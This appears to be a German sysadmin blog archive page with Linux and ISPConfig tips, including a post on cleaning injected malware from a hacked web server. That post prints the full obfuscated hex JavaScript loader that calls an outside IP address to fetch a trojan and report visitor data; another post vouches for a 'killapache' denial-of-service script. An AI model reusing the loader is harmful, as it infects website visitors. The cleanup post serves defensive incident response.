www.devilsystems.org

Einblicke in den Alltag eines Admins

  • Werbung

    test

Archiv für die 'Linux' Kategorie

Linux – Apache Log per Commandline analysieren

Erstellt von flitzender_elch am 24. Januar 2012

Da es bei mir öfter vorkommt das ein Server attackiert wird, ist dann schnell Reaktion vorteilhaft.
Statistik-Programme wie Awstats oder Webalizer analysieren ja den letzten Tag, wenn aber gerade ein Angriff ist
wäre ein Analyse des Logs während des Angriffes aufschlussreicher.

Habe im Netz dazu mehrere Möglichkeiten gefunden, hier ein paar davon:

  • tail -n 10000 yourweblog.log|cut -f 1 -d ‘ ‘|sort|uniq -c|sort -nr|more
  • netstat -n|grep :80|cut -c 45-|cut -f 1 -d ‘:’|sort|uniq -c|sort -nr|more
  • cut -f 2 -d ‘”‘ yourweblog.log|cut -f 2 -d ‘ ‘|sort|uniq -c|sort -nr|more
  • cut -f 4 -d ‘”‘ yourweblog.log|sort|uniq -c|sort -nr|more
  • netstat -an | grep ESTABLISHED | awk ‘\”{print $5}’\” | awk -F: ‘\”{print $1}’\” | sort | uniq -c | awk ‘\”{ printf(“%s\t%s\t”,$2,$1); for (i = 0; i < $1; i++) {printf(“*”)}; print “”}’\”

Quelle

Abgelegt unter Linux | Keine Kommentare »

Linux – Ein paar find und sed Befehle die mir geholfen haben einen Schadcode am Webserver zu entfernen

Erstellt von flitzender_elch am 13. Januar 2012

Auf einem meiner Webserver hatte ich einen Schadcode in JS-Dateien der in Hex geschrieben war, anscheinend durch ein ungepatchtes WordPress reingekommen und
schon waren ein paar tausend Files infiziert. Mit der Hand tut man sich schwer, deshalb hier ein paar Befehle die mir geholfen haben:

find . -type f -name “*.js” -exec sed -i.backup -e ‘s/var _0x4470.*//g’ {} \;
find . -type f -name “*.html” | xargs sed -i -e ‘s/bbfd9f.*//g’
find . -type f | xargs grep -H “_0xa064″ | awk ‘{print $1}’
find . -type f -name “*.backup” | xargs tar rvf /var/backup.tar
find . -type f -exec grep -H “_0xa064″ {} \;
find . -exec grep -n “_0xa064″ /dev/null {} \;

Kleines Skript welches jede Zeile einliest und darauf einen Befehl ausführt:

#!/bin/bash
# List all the users in /etc/passwd.
FILENAME=/var/ergebnis3.txt
for user in $(cut -d: -f1 $FILENAME)
do
ls -lh /var/www/$user/
done

Folgender Code wurde in die JS-Dateien eingefügt:

Var_0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3–){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3–){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));

Dadurch wurde am Client folgender Befehl ausgeführt:

http://91.196.216.64/s.php?ref=&lc=http://DOMAIN/&ua=Mozilla/5.0%20%28Windows%20NT%206.1%3B%20WOW64%3B%20rv%3A8.0.1%29%20Gecko/20100101%20Firefox/8.0.1

Der widerum einen Trojaner downloaden wollte.
Das gemeine daran ist das der Befehl in HEX umgewandelt worden ist und man so nicht einfach nach z.B. “91.196.216.64″ suchen lassen kann, weil er natürlich nix findet.
Die Bösewichte werden immer besser, für mich sehr raffiniert sich so zu verstecken, da zieh ich meinen Hut, wenn ich einen auf hätte.

Was ich mir jetzt mal anschauen werden ist das

Security/CSP

Abgelegt unter Linux | Keine Kommentare »

Debian/Ubuntu – Download-Limit für apt

Erstellt von flitzender_elch am 3. November 2011

create file /etc/apt/apt.conf.d/76download with content:

Acquire
{
Queue-mode “access”;
http
{
Dl-Limit “25″;
};
};

That limits apt-get to 25KB/s

Quelle

Abgelegt unter Linux | Keine Kommentare »

Xen – Live Migration funktioniert nicht mehr

Erstellt von flitzender_elch am 19. September 2011

Ich habe seit ein paar Tagen eine Testumgebung mit 2 Xen Dom0 und einem ISCSI-Storage am laufen. Alles
läuft unter Debian Squeeze.
Am Anfang war noch alles wunderbar und die Live Migration funktionierte wunderbar, aber nach einem Bios-Update
an den Dom0′s funktionierte es nicht mehr.

Bei der Live Migration bekam ich immer folgenden Fehler:

[2011-09-19 13:57:23 1392] ERROR (XendDomain:1194) Restore failed
Traceback (most recent call last):

File “/usr/lib/xen-4.1/bin/../lib/python/xen/xend/XendDomain.py”, line 1178, in domain_restore_fd

dominfo = XendCheckpoint.restore(self, fd, paused=paused, relocating=relocating)

File “/usr/lib/xen-4.1/bin/../lib/python/xen/xend/XendCheckpoint.py”, line 358, in restore

raise exn

XendError: /usr/lib/xen-4.1/bin/xc_restore 5 4 1 2 0 0 0 0 failed

Und die DomU stand erst nach einem xm reset konnte ich sie verwenden, in der zwischen Zeit habe ich die Dom0′s des öfteren
neu aufgesetzt und auch auf wheezy geupdatet. Habe es dann auch mal mit Xen 4.0 versucht aber immer der selbe Fehler.
Dann habe ich in einer Mailinglist was von den CPU-Flags gelesen, danach überprüfte ich meine CPU-Flags auf den beiden Dom0′s
und dort waren einige Unterschiede.
Ich setzte die Flags im Bios für die CPU’s auf beiden Hosts gleich und schon ging die Live Migration wieder.

Zwar habe ich jetzt ein neues Problem, nach einer Live Migration geht das Netzwerk nicht mehr in der DomU, aber jetzt geht erst
mal die Live Migration wieder.

Abgelegt unter Linux | Keine Kommentare »

ISPConfig – Per Remote-Api alle DNS Zonen löschen

Erstellt von flitzender_elch am 31. August 2011

Wenn jemand es benötigt, hier mein PHP-Skript wie man per Remote-Api alle DNS-Zonen auf einem ISPConfig-Server löscht:

$username = ‘REMOTE_USERNAME’;
$password = ‘REMOTE_PASSWORD’;

$soap_location = ‘https://ISPCONFIGSERVER:8443/remote/index.php’;
$soap_uri = ‘https://ISPCONFIGSERVER:8443/remote/’;

$client = new SoapClient(null, array(‘location’ => $soap_location,
‘uri’ => $soap_uri));

function delete_domains($primary_id){

global $username;
global $password;

if($session_id = $client->login($username,$password))
{
echo ‘Zalogowany. Sesja:’.$session_id.’
‘;
}

$domain_dns_entry = $client->dns_zone_delete($session_id, $primary_id);

if($client->logout($session_id))
{
print_r ($domain_dns_entry[name].’
‘);
}
}

//echo delete_domains($primary_id);

function sql(){

$mysqlhost=”ISPCONFIGSERVER”; // MySQL-Host angeben
$mysqluser=”"; // MySQL-User angeben
$mysqlpwd=”"; // Passwort angeben

$connection=mysql_connect($mysqlhost, $mysqluser, $mysqlpwd) or die (“Verbindungsversuch fehlgeschlagen”);

$mysqldb=”dbispconfig”; // Gewuenschte Datenbank angeben
mysql_select_db($mysqldb, $connection) or die(“Konnte die Datenbank nicht waehlen.”);

$sql = “Select * From dns_soa”;

$adressen_query = mysql_query($sql) or die(“Anfrage nicht erfolgreich”);

/*$anzahl = mysql_num_rows($adressen_query);
echo “Anzahl der Datensätze: $anzahl”;*/

while ($adr = mysql_fetch_array($adressen_query))
{
echo delete_domains($adr["id"]);
}

(“Verbindungsversuch fehlgeschlagen”);
}

echo sql();

Abgelegt unter ISPConfig | Keine Kommentare »

Heise.de – Meldung „killapache“ Skript

Erstellt von flitzender_elch am 24. August 2011

Diese Skript funktioniert zu 100%, habs selbst getestet.

Quelle: heise.de

Vorübergehende Lösung z.B. über htaccess.

Hier der Thread dazu.

Abgelegt unter Linux | 1 Kommentar »

Disk/Partition Table unter Linux neueinlesen

Erstellt von flitzender_elch am 28. Juli 2011

Habe unter VMWare ein Debian am laufen und habe im laufenden Betrieb die Festplatte in VMWare
vergrößert. Leider wird mir diese Änderung im Linux (Debian) nicht angezeigt, erst nach einem Neustart ist das
möglich aber das kann ja nicht sein das ist ja Linux da geht das auch so also bissl gegoogelt und folgendes gefunden:

blockdev –rereadpt /dev/whatever
Quelle

Sodala nachdem wird mir die freie Kapazität angezeigt und ich kann sie verwenden, ohne Neustart.

Abgelegt unter Linux | Keine Kommentare »

ISPConfig 3 – Change default webstatistics program

Erstellt von flitzender_elch am 15. Juli 2011

Standardmäßig wird im ISPConifg “Webalizer” als Programm für die Webstatistik ausgewählt und
dann so auch mit angelegt. Hier wie man dies auf AwStats abändert:
Diese Einstellungen gehen womöglich bei einem Update des ISPConfig verloren.

/usr/local/ispconfig/interface/web/sites/form/web_domain.tform.php

von

<‘stats_type’ => array (
‘datatype’ => ‘VARCHAR’,
‘formtype’ => ‘SELECT’,
‘default’ => ‘webalizer’,
‘value’ => array(‘webalizer’ => ‘Webalizer’, ‘awstats’ => ‘AWStats’)

in

‘stats_type’ => array (
‘datatype’ => ‘VARCHAR’,
‘formtype’ => ‘SELECT’,
‘default’ => ‘awstats’,
‘value’ => array(‘awstats’ => ‘AWStats’, ‘Webalizer’ => ‘Webalizer’)

Abgelegt unter ISPConfig | Keine Kommentare »

ISPConfig – Remote Api – DNS

Erstellt von flitzender_elch am 13. Juli 2011

Folgendes Problem:

Ich habe eine Farm bestehend aus mehreren ISPConfig-Servern soweit so gut. Nun habe ich noch einen allein stehenden MyDNS-Server mit
MyDNS-NG und ich will die DNS-Zonen jetzt auch in die Farm mitaufnehmen.
DNS replikation ala Primary und Secondary funzd nicht bzw. dann sehe ich die DNS-Einstellungen im ISPConfig nicht also was tun?

Weiterlesen »

Abgelegt unter ISPConfig | Keine Kommentare »

Ubuntu – Samba zeigt Drucker über CUPS erst nach restart des Services an

Erstellt von flitzender_elch am 24. Juni 2011

Folgendes Phenomen habe ich wenn ich mein Ubuntu starte wird der Drucker den ich freigegeben habe erst angezeigt
nachdem ich Samba nochmal neugestartet habe.

Die Lösung bei mir war:

[global]

# printcap name = CUPS –>> raus!!
printcap name = /etc/printcap

Link hierzu

Abgelegt unter Linux | Keine Kommentare »